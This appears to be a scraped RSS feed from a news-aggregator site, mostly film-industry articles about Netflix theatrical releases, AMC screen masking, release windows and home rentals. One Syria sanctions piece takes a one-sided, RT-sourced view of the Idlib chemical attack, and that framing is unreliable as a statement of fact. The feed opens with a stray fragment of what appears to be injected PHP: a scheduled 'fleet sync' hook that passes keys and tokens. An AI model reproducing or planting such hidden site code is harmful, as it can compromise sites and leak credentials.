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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Theatrical – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 11 Nov 2017 02:17:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Theatrical – Brief News https://briefnews.eu 32 32 Netflix’s ‘Mudbound’ is Getting a Limited Theatrical Release on November 17 https://briefnews.eu/netflixs-mudbound-is-getting-a-limited-theatrical-release-on-november-17/ https://briefnews.eu/netflixs-mudbound-is-getting-a-limited-theatrical-release-on-november-17/#respond Sat, 11 Nov 2017 02:17:46 +0000 http://briefnews.eu/netflixs-mudbound-is-getting-a-limited-theatrical-release-on-november-17/ Mudbound theatrical release

Netflix has butted heads with theater owners ever since they started producing their own original films. A few of their films, like the Idris Elba drama Beasts of No Nation, have made it to limited theater screens in the past, and now another of their original movies, director Dee Rees‘ southern family epic Mudbound, will get a limited theatrical release next week. But will it also be ignored when the next batch of Oscar nominations roll around, or will this be enough to position the film as a possible awards contender?

Here’s the trailer for Mudbound, which comes from Pariah director Dee Rees:

Former /Filmer Angie Han reviewed the movie at this year’s Sundance Film Festival, calling it a “sprawling epic” and dishing out praise to performances by Garrett Hedlund, Jason Mitchell, and Mary J. Blige:

Hedlund has perhaps never been better than he is here as Jamie, a firecracker of a man who seems determined to snuff himself out with liquor. Mitchell’s role is less showy, but he’s no less good — he’s a master of expressing emotion with his eyes. The true surprise here, though, is Blige. She is downright unrecognizable as Florence. The role that requires her to strip away everything we know as Mary J. Blige: the striking looks, the the grand personality, the big voice. What emerges in their absence is a tough and tender portrayal of a mother who’s sacrificed and suffered all her life, but is still capable of savoring the rare sweet spots life has to offer.

The movie won the Gotham Jury Award for ensemble performance and the audience award at Mill Valley Film Festival and the Middleburg Film Festival. It sounds like there’s some real potential there for even more awards, and this theatrical release seems like Netflix’s way of attempting to get Oscar voters to take this film seriously instead of thinking of it as a TV movie.

At the heart of Netflix and theater owners’ long-running disagreement (which boiled over at the Cannes Film Festival this year) is the concept of exclusive release windows. Theater owners want movies to be available to see only in theaters for at least a few weeks before they move over to streaming, but Netflix insists on a day-and-date structure for every one of their original film releases – meaning that there’s no exclusivity, and audiences could either choose to stay home and watch the film streaming on a small screen or pay to go out and see it in a theater if they prefer that experience instead.

Last year, though, Netflix signed an exhibition deal with a theater chain called iPic Entertainment to release some of their original films in limited theaters on the same day they become available on the streaming service, and Mudbound is the latest film to benefit from that deal. Here’s the list of theaters where Mudbound will be available to watch on the big screen:

Atlanta – Landmark Midtown
Boca Raton – iPic Boca Raton
Boston – Landmark Embassy
Chicago – iPic Chicago Barrington
Houston – iPic Houston
Los Angeles – iPic Westwood
Los Angeles – iPic Pasadena
Los Angeles – Laemmle Santa Monica
Los Angeles – Laemmle Noho
Nashville – Nashville Belcourt Theater
New York – iPic Fulton
New York – Lincoln Plaza
New York – BAM
New York – IFC Center
Philadelphia – Landmark Ritz
San Francisco – Landmark Opera House
Washington, DC – Landmark West End

Notice that there aren’t any AMC or Regal theaters on that list. That’s because they’re still angry about the way Netflix is choosing to do business. (Netflix has previously said they’re “open” to “supporting” the big chains if they’re interested in releasing Netflix films in theaters, which probably rubbed the theater owners the wrong way even more.)

In any case, I’m glad some people will have the chance to see Mudbound in a theater if that’s how they’d prefer to see it. I’ll always be in favor of an option that puts the choice in consumers hands, and this release, even a limited one, at least does that for some segment of Netflix’s subscriber base.

Mudbound arrives on Netflix and in limited theaters on November 17, 2017.

Set against the backdrop of the Mississippi Delta during the Jim Crow era after World War II,Mudbound is both a timeless and timely film following two families – one black, one white – bound together by the hardships of farm life. Starring Carey Mulligan, Jason Clarke, Jason Mitchell, Mary J. Blige, Rob Morgan, Jonathan Banks and Garrett Hedlund.
 
Mudbound is written for the screen by Virgil Williams and Rees and directed by Rees. It’s based on the international bestseller by Hillary Jordan.

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]]> https://briefnews.eu/netflixs-mudbound-is-getting-a-limited-theatrical-release-on-november-17/feed/ 0 World’s Largest Movie Theater Chain Essentially Admits to Not Caring About Theatrical Presentation https://briefnews.eu/worlds-largest-movie-theater-chain-essentially-admits-to-not-caring-about-theatrical-presentation/ https://briefnews.eu/worlds-largest-movie-theater-chain-essentially-admits-to-not-caring-about-theatrical-presentation/#respond Mon, 06 Nov 2017 23:49:16 +0000 http://briefnews.eu/worlds-largest-movie-theater-chain-essentially-admits-to-not-caring-about-theatrical-presentation/ theatrical presentation

(Welcome to The Soapbox, the space where we get personal, political, and opinionated about anything and everything. In this edition: AMC Theaters admits that they don’t care about masking, and why this is bad.)

We’re aware there are terrible things happening in our country right now, and yes, complaining about movie theater screens is inconsequential in the grand scheme of things. But damn it, instead of getting overwhelmed by those things, cinephiles occasionally want to lose ourselves in a terrific theatrical experience. And when the world’s largest theater chain has basically admitted that they no longer care about the way their movies are presented to audiences, that’s worth grumbling about.

Chances are pretty high that when you go see a movie, you see it in an AMC Theater. That company has the largest market share of American theaters and is the biggest movie theater chain on the planet. You may assume that because of this lofty position of power they hold in the industry, AMC might want to set a good example by exhibiting movies in the best possible quality in an attempt to lure more customers; after all, attendance is declining and while theaters make the majority of their money in concessions, humans are still a necessary component of their business model.

But as you may have gleaned from this article’s headline, that’s not the case.

Filmmaker Mike Williamson took a photo calling out AMC’s lack of masking in one of their theaters, and instead of the chain seeing that complaint and ensuring their paying customer that they’d work to correct the problem, they essentially admitted that they simply no longer care about the way their movies are exhibited.

For those who don’t know anything about masking, I recommend reading this ScreenCrush article from last year. Here’s the gist: masking is the process of expanding or shrinking the borders of a screen to allow a film to fill the entire screen. Movies are most filmed in one of two different aspect ratios (“full” or “scope”), and most theaters are equipped to present either on any given screen, traditionally using motorized curtains to completely surround the image. This is a key part of the presentation because it allows the audience to have a much more immersive experience. Lately, though, some theaters haven’t been bothering to mask their movies as often, resulting in experiences like Mike Williamson’s, in which distracting gray bars are visible throughout the entire movie.

As Williamson pointed out in a subsequent tweet, letterboxing in a theater gives the appearance that you’re watching something on a television screen at home – and with the rise of digital projection, complaints about movies looking like TV have been flying around for years already. This certainly isn’t going to help, and for AMC to cop to their lack of masking and try to hide behind the “clean lines and edges” of their digital projectors is embarrassing. Are they actively trying to drive consumers away at this point?

How can a company acknowledge something that looks like complete garbage, nod and smile, openly state that they’re making it look like that on purpose, and then charge you a premium price for your ticket? Unless there’s a big enough uproar about this that AMC reverse this policy, audiences have lost yet another battle in the ongoing war of simply trying to have a high quality theatrical experience. When the world’s largest theater chain is so open about their disdain for presentation, it’s no wonder people aren’t going to the movies as much anymore.

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]]> https://briefnews.eu/worlds-largest-movie-theater-chain-essentially-admits-to-not-caring-about-theatrical-presentation/feed/ 0 Apple is in Discussions to Offer $50 Home Movie Rentals of Big Theatrical Releases [Updated] https://briefnews.eu/apple-is-in-discussions-to-offer-50-home-movie-rentals-of-big-theatrical-releases-updated/ https://briefnews.eu/apple-is-in-discussions-to-offer-50-home-movie-rentals-of-big-theatrical-releases-updated/#respond Sun, 20 Aug 2017 06:50:28 +0000 http://briefnews.eu/apple-is-in-discussions-to-offer-50-home-movie-rentals-of-big-theatrical-releases-updated/ $ 30 Home movie rentals Theater

Update: Apple has now entered discussions to make major Hollywood releases available for home rentals only two weeks after they debut theatrically. Get the latest information below.

One of the most intense business challenges Hollywood has faced during the past few years is dealing with the way the home video market has evolved. In an effort to breathe new life into it, some studios are now reportedly considering the idea of offering $ 50 home movie rentals after a film plays in theaters for a few weeks. But would you pay that price to watch a movie at home?

Variety says the studios have been individually discussing possible changes to the release window with exhibitors for over a year, though none of them have reached a deal yet. Let’s take a look at what each major studio is proposing.

Disney

The Mouse House is the only power player that isn’t interested in altering the existing structure – largely because they produce the types of films that consistently benefit from it the most. Marvel films, Star Wars movies, and big animated features tend to play well in long theatrical runs, so changing things wouldn’t be in their best interests. But for the rest of the studios, shortening the exclusive theatrical release window (which is currently 90 days) would give them a better bang for their buck in the advertising department. Instead of paying tons of money to launch a campaign when a film hits theaters and then dropping tons more to reintroduce audiences to the movie months later when it arrives on home video, a shortened window would let them save money and keep their film in the back of audience’s minds.

Warner Bros.

WB CEO Kevin Tsujihara wants to cut exhibitors in on digital revenues if they shorten the release window (the time when a movie exclusively plays in theaters) from its current 90-day period down to just 17 days. WB was initially looking to charge a $ 50 home movie rental fee for that option, but they’re also reportedly exploring a $ 30 rental fee to see a film 30 to 45 days after it opens theatrically.

Fox

WB and Fox are both open to different release patterns for different movies, which means “bigger franchise films that tend to have longer runs in theaters might be held back from release on demand.” Things like the DC superhero movies or an X-Men film could earn more in theaters, while smaller movies could bump to home video earlier once they’ve made their impact on the big screen. But Fox, who is looking for a 30-45 day release window, doesn’t like the idea of asking people to pay $ 50 to rent a movie at home.

Universal

Universal and Fox both think customers would balk at WB’s $ 50 initial asking price for a rental, so they’re pushing for a $ 30 fee instead. Universal is not as flexible about treating its films differently, so they want all of their movies to be available in the 20-day range.

Sony

Sony appears to be somewhere in the middle. They’re reportedly “in favor of an early on-demand debut that’s somewhat later than the one being floated by the likes of Universal and at a higher price point.”

Update 8/18/17: Bloomberg reports that Apple and Comcast (the latter of which owns Universal Pictures) are in discussions with the leading Hollywood studios “to sell digital downloads of major releases as soon as two weeks after they debut in theaters.” Deals could be finalized as early as next year, and if this happens, it would give studios the ability to leverage deals with exhibitors like AMC and Regal, who have been reluctant to accept innovations regarding home rentals. Studios may experiment with a shorter release window overseas before utilizing that policy in the U.S., which is the largest home entertainment market in the world. The Bloomberg piece also speculates that theater chains could theoretically boycott any movie that the studios make available in that faster rental time.

Our original article from March 23, 2017 continues below.

As for the exhibitors, if they agree to shorten the release window, they want the studios to keep the window for lower cost rentals at 90 days. They’re also struggling to adapt to the shifting landscape, so they want the studios to try not to change the traditional home entertainment distribution model for between five and ten years. Again, no deal has been made yet, and the details on all of this are still being being hammered out. This whole discussion reminds me a lot of one we were having last year when The Screening Room first came to prominence, but nothing much seems to have happened with that in the interim.

Whether you’d pay to see a movie at home or in the theaters has a lot to do with priorities. It clearly makes more financial sense for a family of four to stay home and drop $ 30 or even $ 50 on the latest animated hit, and I wouldn’t blame them for taking that option. But for people who have time/money on their hands and value the theatrical experience – even in spite of the occasional talker or texter you may encounter – it’s worth it to head out and sit in a room full of strangers to soak these stories in the way they were intended to be seen.

What do you think?

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]]> https://briefnews.eu/apple-is-in-discussions-to-offer-50-home-movie-rentals-of-big-theatrical-releases-updated/feed/ 0 ‘Theatrical decisiveness’: US sanctions 271 Syrians amid stalled Idlib chemical attack probe https://briefnews.eu/theatrical-decisiveness-us-sanctions-271-syrians-amid-stalled-idlib-chemical-attack-probe/ https://briefnews.eu/theatrical-decisiveness-us-sanctions-271-syrians-amid-stalled-idlib-chemical-attack-probe/#respond Tue, 25 Apr 2017 07:07:14 +0000 http://briefnews.eu/theatrical-decisiveness-us-sanctions-271-syrians-amid-stalled-idlib-chemical-attack-probe/ The US has sanctioned some 271 Syrians who Washington believes are involved in the research and production of chemical weapons. The move is yet another retaliatory measure for the Idlib incident which was pinned on Damascus without any investigation.

The US Treasury Department on Monday announced that it sanctioned 271 employees of Syria’s Scientific Studies and Research Center (SSRC) over their alleged involvement in the research and development of Syria’s ‘chemical program.’

Washington believes that SSRC members were responsible for developing the sarin gas allegedly used in the April 4 Idlib chemical attack.

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“These sweeping sanctions target the scientific support center for Syrian dictator Bashar al-Assad s horrific chemical weapons attack on innocent civilian men, women and children,” Treasury Secretary Steven Mnuchin said announcing the sanctions.

Mnuchin vowed to “relentlessly pursue and shut down the financial networks of all individuals involved with the production of chemical weapons used to commit these atrocities.”

The sanctions will see American banks freeze the assets of any individuals placed on the list. The new punitive measures also ban US companies from conducting business with them.

This is not the first time that Washington has placed sanctions on individuals connected to the activities of the SSRC. Just before the Donald Trump administration took office, on January 12, the US Treasury went on to sanction six Syrian officials connected with SSRC work.

Monday’s sanctions are the latest “retaliatory” measure taken by the Trump administration in response to the April 4 chemical attack on Khan Shaykhun, which has so far seen no impartial or professional investigation.

Just 3 days after the chemical incident, the US navy launched 59 Tomahawk missiles against a Syrian air base.

As many as 100 people were allegedly killed and several hundred injured in the April 4 chemical attack in Idlib. The US has pinned the blame on Damascus, claiming that it hid chemical weapons stockpiles from the Organization for the Prohibition of Chemical Weapons (OPCW) after pledging to hand them over in 2013.

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The accusations have been echoed and supported by US allies in Europe and the Middle East, who praised Washington’s unilateral intervention in a sovereign state.

On Monday, the UK for instance, was again quick to welcome the unprecedented scale of US sanctions against Syrian individuals.

“Sanctions send a clear signal that actions have consequences and seek to deter others from a similar acts of barbarism. We welcome the role sanctions play in increasing pressure on the Syrian regime to turn away from its military campaign,” Foreign Secretary,Boris Johnson said in a statement.

According to Moscow, however, by blaming and serving its own brand of justice, the government of the United States is rather trying to distract the international community from the necessity of a thorough investigation of the Idlib incident.

“Once again we see how the sanctions are being used not as an instrument to achieve a real goal, but as a demonstration of a theatrical decisiveness, an effort to substitute or cancel the investigation by the very fact of punishment for an ostensible evidence of guilt,” said Konstantin Kosachev, the chair of the Russian upper house of parliament’s Foreign Affairs Committee.

Following the April 4 incident, the Russian Defense Ministry issued a statement saying that the Syrian Air Force was targeting a militant arms depot that is believed to have contained some chemicals used in the production of gas-filled shells previously used by rebels against government forces in places like Aleppo.

But while the West continues to be in tune with Washington, Moscow, from the onset, insisted on a thorough investigation, including an on-site inspection in rebel-held territory, arguing that the US reached premature conclusions.

However, the executive council of the Organization for the Prohibition of Chemical Weapons (OPCW) rejected a proposal from Russia and Iran to examine the site of the chemical incident in Idlib province.

The UK and France have meanwhile claimed that their experts have “received” samples from the site of the incident, which they passed on to OPCW labs who then identified the chemical agent used in the attack as sarin gas.

The Russian military, however, questioned the swift analysis of the samples, adding that it wanted details on who collected the samples and how they were studied at OPCW-designated labs. This has not been disclosed.

“I hardly think they will be investigated properly,” Daniel McAdams, Executive Director of the Ron Paul Institute told RT. “The entire US operation in Iraq and Syria is not being investigated properly.”

On Friday, Russian Foreign Minister Sergey Lavrov said the fact that Russia’s proposal of an on-site investigation was “blocked by Western delegations without any explanations” exposes their aim to topple Syrian President Bashar Assad. Lavrov said that it was now “obvious” that “false information” was being used to escalate the war in Syria into a full-scale invasion.

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]]> https://briefnews.eu/theatrical-decisiveness-us-sanctions-271-syrians-amid-stalled-idlib-chemical-attack-probe/feed/ 0 Netflix “Open” to Simultaneous Theatrical Releases For Its Original Films https://briefnews.eu/netflix-open-to-simultaneous-theatrical-releases-for-its-original-films/ https://briefnews.eu/netflix-open-to-simultaneous-theatrical-releases-for-its-original-films/#respond Mon, 24 Apr 2017 21:47:17 +0000 http://briefnews.eu/netflix-open-to-simultaneous-theatrical-releases-for-its-original-films/ Netflix in theaters

Amazon made a big splash at this year’s Academy Awards, with Manchester by the Sea winning Oscars for Best Actor and Best Original Screenplay. Pundits cited Amazon’s theatrical model as having a big impact on that film’s wins, while another major streaming site, Netflix, has struggled to achieve similar awards outside of the documentary categories – perhaps due to its more limited theatrical distribution.

But Netflix’s new quarterly earnings report implies that changes could be brewing, and audiences may have the chance to see Netflix original movies on the big screen as well as at home.

Netflix

Past

Netflix has tested the waters with theatrical distribution with movies like Beasts of No Nation, but only in limited release. And the nature of that release – it was available to stream at home and see in theaters at the same time – meant traditional theaters weren’t thrilled to play the movie in their multiplexes. Those old-school companies tend to prefer exclusive distribution windows, and Netflix’s simultaneous release gambit throws that off. Amazon, on the other hand, played along and put Manchester by the Sea exclusively in theaters for a while before eventually making it available for streaming on its video platform. In addition to awards attention, this resulted in a $ 47 million box office haul, a strong showing for an R-rated drama.

Present

The earnings report (h/t ScreenRant) mentions the company has hired producer Scott Stuber (Ted, Patriot’s Day) to head up a new initiative for its original films. Along with clearly laying out expectations for him, the report drops an interesting nugget of information about what Netflix’s possible future may hold:

We recently hired Scott Stuber to lead our original films initiative. Our goal remains the same: to offer a variety of new movies that will attract and delight members at better economics relative to licensing movies under traditional windowing. Some of our early movies have been successful by this measure, such as the Sandler movies and Siege of Jadotville. Others, such as Crouching Tiger Hidden Dragon: Sword of Destiny, have not. Scott’s mandate is to increase both the portfolio and the percentage of films that delight many of our members relative to the film’s cost.

Since our members are funding these films, they should be the first to see them. But we are also open to supporting the large theater chains, such as AMC and Regal in the US, if they want to offer our films, such as our upcoming Will Smith film Bright, in theatres simultaneous to Netflix. Let consumers choose.

Future

Did you notice the wording at the end of that statement? Seems like Netflix is totally alpha-ing the theater chains by saying they’re open to “supporting” companies like AMC and Regal, as if they’d be doing those chains a favor by dealing with them. And it’s not a coincidence that they mention David Ayer’s Bright as the film that could potentially bridge the ideological gap between the streaming service and distributors: Netflix knows that despite a few lackluster efforts recently, Will Smith is one of the world’s few remaining movie stars and still draws significant interest from audiences around the world. It’s possible that chains like AMC might actually be interested in working out a deal in order to snag a piece of that pie. Getting something might be better than not getting anything.

But it remains to be seen what kind of model would work best for everyone. If Netflix is serious about theatrical distribution – and the issues surrounding it, such as awards prestige and pleasing filmmakers who’d like their movies to be seen in theaters by as many people as possible – they may have to cave to the market’s needs and put its movies exclusively in theaters for a short while before debuting them on the streaming platform. That seems like a significant shift in the company’s business model, but perhaps Scott Stuber’s input will be enough to convince them to adapt and evolve.

What do you think? Would you pay to see a film in theaters that was also available to stream at home on Netflix?

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]]> https://briefnews.eu/netflix-open-to-simultaneous-theatrical-releases-for-its-original-films/feed/ 0 ‘The Fifth Element’ Gets 4K Theatrical Re-Release With A Special ‘Valerian’ Preview https://briefnews.eu/the-fifth-element-gets-4k-theatrical-re-release-with-a-special-valerian-preview/ https://briefnews.eu/the-fifth-element-gets-4k-theatrical-re-release-with-a-special-valerian-preview/#respond Sat, 08 Apr 2017 12:52:21 +0000 http://briefnews.eu/the-fifth-element-gets-4k-theatrical-re-release-with-a-special-valerian-preview/ the fifth element

A 4K restoration of Luc Besson‘s The Fifth Element will be returning to movie theaters next month in celebration of its 20th anniversary. And alongside the visionary science fiction film will be an exclusive preview of writer-director Besson’s upcoming film Valerian and the City of a Thousand Planets. Find out where, when and how you can attend one of these limited time The Fifth Element rerelease screenings below!

Presented by Fathom Events and Sony Pictures Home Entertainment, The Fifth Element will play in more than 400 cinemas nationwide for two days only: Sunday, May 14, and Wednesday, May 17, at 2:00 p.m. and 7:00 p.m. (local time) each day. The Fifth Element hit theaters on May 7, 1997, so this is technically happening a week after the film’s 20th anniversary. Here’s more:

As an added bonus, the theatrical presentation will also offer audiences a brand-new, exclusive look at Besson’s upcoming film, “Valerian and the City of a Thousand Planets,” which opens in theaters nationwide July 21, 2017. This new film stars Dane DeHaan and Cara Delevingne as special operatives who must protect the astonishing city of Alpha from a marauding menace that threatens not just the city but the future of the universe. Besson both directed and wrote “Valerian and the City of a Thousand Planets,” as he did the enormously influential “The Fifth Element.”

Tickets to The Fifth Element 20th Anniversary screenings can be purchased online at www.FathomEvents.com or at participating theater box offices. Over 400 theaters nationwide will be hosting the screenings. Following its two-day-only theatrical presentation, The Fifth Element will debut on home video in 4K Ultra HD on July 11, 2017.

I have been looking for a reason to revisit The Fifth Element, and this might be the perfect opportunity. It’s brilliant marketing to pair it with a preview of Valerian, too.

From its opening scenes in 1914 Egypt to its towering views of 23rd Century New York City, and its mind-expanding journey to the faraway world of Fhloston Paradise, “The Fifth Element” follows cab driver Korben Dallas (Bruce Willis) as he discovers that the fate of the world is contained within the mysterious Leeloo (Milla Jovovich), who literally drops from the sky and into his life. To save humanity, he must protect her from the evil industrialist Zorg (Gary Oldman), who is embroiled in an intergalactic war between the Mondoshawans and the Mangalores.

The spectacular odyssey across space and time also stars Ian Holm as the mysterious Vito Cornelius, Chris Tucker as hyperactive radio host Ruby Rhod, and Luke Perry as Billy Masterson. Conceived and written by Besson when he was just 16, “The Fifth Element” became a passion project and took more than 20 years to bring to the screen. “The Fifth Element” was nominated for eight César Awards, France’s top cinematic honor, and received three awards, including Best Director, Best Cinematography and Best Production Design.

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]]> https://briefnews.eu/the-fifth-element-gets-4k-theatrical-re-release-with-a-special-valerian-preview/feed/ 0 Would You Pay For $30 Home Movie Rentals Of Big Theatrical Releases? https://briefnews.eu/would-you-pay-for-30-home-movie-rentals-of-big-theatrical-releases/ https://briefnews.eu/would-you-pay-for-30-home-movie-rentals-of-big-theatrical-releases/#respond Thu, 23 Mar 2017 14:53:59 +0000 http://briefnews.eu/would-you-pay-for-30-home-movie-rentals-of-big-theatrical-releases/ $ 30 Home movie rentals Theater

One of the most intense business challenges Hollywood has faced during the past few years is dealing with the way the home video market has evolved. In an effort to breathe new life into it, some studios are now reportedly considering the idea of offering $ 30 home movie rentals after a film plays in theaters for a few weeks. But would you pay that price to watch a movie at home?

Variety says the studios have been individually discussing possible changes to the release window with exhibitors for over a year, though none of them have reached a deal yet. Let’s take a look at what each major studio is proposing.

Disney

The Mouse House is the only power player that isn’t interested in altering the existing structure – largely because they produce the types of films that consistently benefit from it the most. Marvel films, Star Wars movies, and big animated features tend to play well in long theatrical runs, so changing things wouldn’t be in their best interests. But for the rest of the studios, shortening the exclusive theatrical release window (which is currently 90 days) would give them a better bang for their buck in the advertising department. Instead of paying tons of money to launch a campaign when a film hits theaters and then dropping tons more to reintroduce audiences to the movie months later when it arrives on home video, a shortened window would let them save money and keep their film in the back of audience’s minds.

Warner Bros.

WB CEO Kevin Tsujihara wants to cut exhibitors in on digital revenues if they shorten the release window (the time when a movie exclusively plays in theaters) from its current 90-day period down to just 17 days. WB was initially looking to charge a $ 50 home rental fee for that option, but they’re also reportedly exploring a $ 30 rental fee to see a film 30 to 45 days after it opens theatrically.

Fox

WB and Fox are both open to different release patterns for different movies, which means “bigger franchise films that tend to have longer runs in theaters might be held back from release on demand.” Things like the DC superhero movies or an X-Men film could earn more in theaters, while smaller movies could bump to home video earlier once they’ve made their impact on the big screen. But Fox, who is looking for a 30-45 day release window, doesn’t like the idea of asking people to pay $ 50 to rent a movie at home.

Universal

Universal and Fox both think customers would balk at WB’s $ 50 initial asking price for a rental, so they’re pushing for a $ 30 fee instead. Universal is not as flexible about treating its films differently, so they want all of their movies to be available in the 20-day range.

Sony

Sony appears to be somewhere in the middle. They’re reportedly “in favor of an early on-demand debut that’s somewhat later than the one being floated by the likes of Universal and at a higher price point.”

As for the exhibitors, if they agree to shorten the release window, they want the studios to keep the window for lower cost rentals at 90 days. They’re also struggling to adapt to the shifting landscape, so they want the studios to try not to change the traditional home entertainment distribution model for between five and ten years. Again, no deal has been made yet, and the details on all of this are still being being hammered out. This whole discussion reminds me a lot of one we were having last year when The Screening Room first came to prominence, but nothing much seems to have happened with that in the interim.

Whether you’d pay to see a movie at home or in the theaters has a lot to do with priorities. It clearly makes more financial sense for a family of four to stay home and drop $ 30 on the latest animated hit, and I wouldn’t blame them for taking that option. But for people who have time/money on their hands and value the theatrical experience – even in spite of the occasional talker or texter you may encounter – it’s worth it to head out and sit in a room full of strangers to soak these stories in the way they were intended to be seen.

What do you think?

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]]> https://briefnews.eu/would-you-pay-for-30-home-movie-rentals-of-big-theatrical-releases/feed/ 0 Superhero Bits: Theatrical Deadpool 2 Teaser, The Flash/Supergirl Musical Songs, Groot Puppet & More https://briefnews.eu/superhero-bits-theatrical-deadpool-2-teaser-the-flashsupergirl-musical-songs-groot-puppet-more/ https://briefnews.eu/superhero-bits-theatrical-deadpool-2-teaser-the-flashsupergirl-musical-songs-groot-puppet-more/#respond Fri, 10 Mar 2017 01:37:31 +0000 http://briefnews.eu/superhero-bits-theatrical-deadpool-2-teaser-the-flashsupergirl-musical-songs-groot-puppet-more/ Green Lantern - Injustice 2

Who are the strongest women in Marvel Comics? Is Warner Bros. willing to make more R-rated superhero movies for the DC Expanded Universe? Why did the X-Men Animated Series voice actor who played Wolverine have trouble letting go of the character? Want to watch the theatrical version of the Deadpool 2 teaser? What are some of the song titles in The Flash/Supergirl crossover? All that and more in this edition of Superhero Bits.

Colleen Wing takes the spotlight in this featurette for Marvel’s latest Netflix series Iron Fist, coming next week.

Read this fun piece at io9 about one writer’s daughter’s love of superheroes, including thinking about Hulk‘s farts.

DC Comics General Mills Cereals

Keep an eye out for DC Comics superhero-themed General Mills cereals on your store’s breakfast shelves soon.

Hugh Jackman posed with Wolverine‘s iconic mask, and that’s as close as we’ll get to seeing him wear the yellow outfit.

Chadwick Boseman takes some inspiration from Muhammad Ali in this set photo from Black Panther.

Comic Book Resources runs through a list of the 15 most powerful women in Marvel Comics, including She-Hulk.

Green Lantern is confirmed for Injustice 2 in a new trailer showing how allegiances have been shattered.

Yes, the studio behind Watchmen and 300 is willing to make an R-rated comic book movie if it’s called for.

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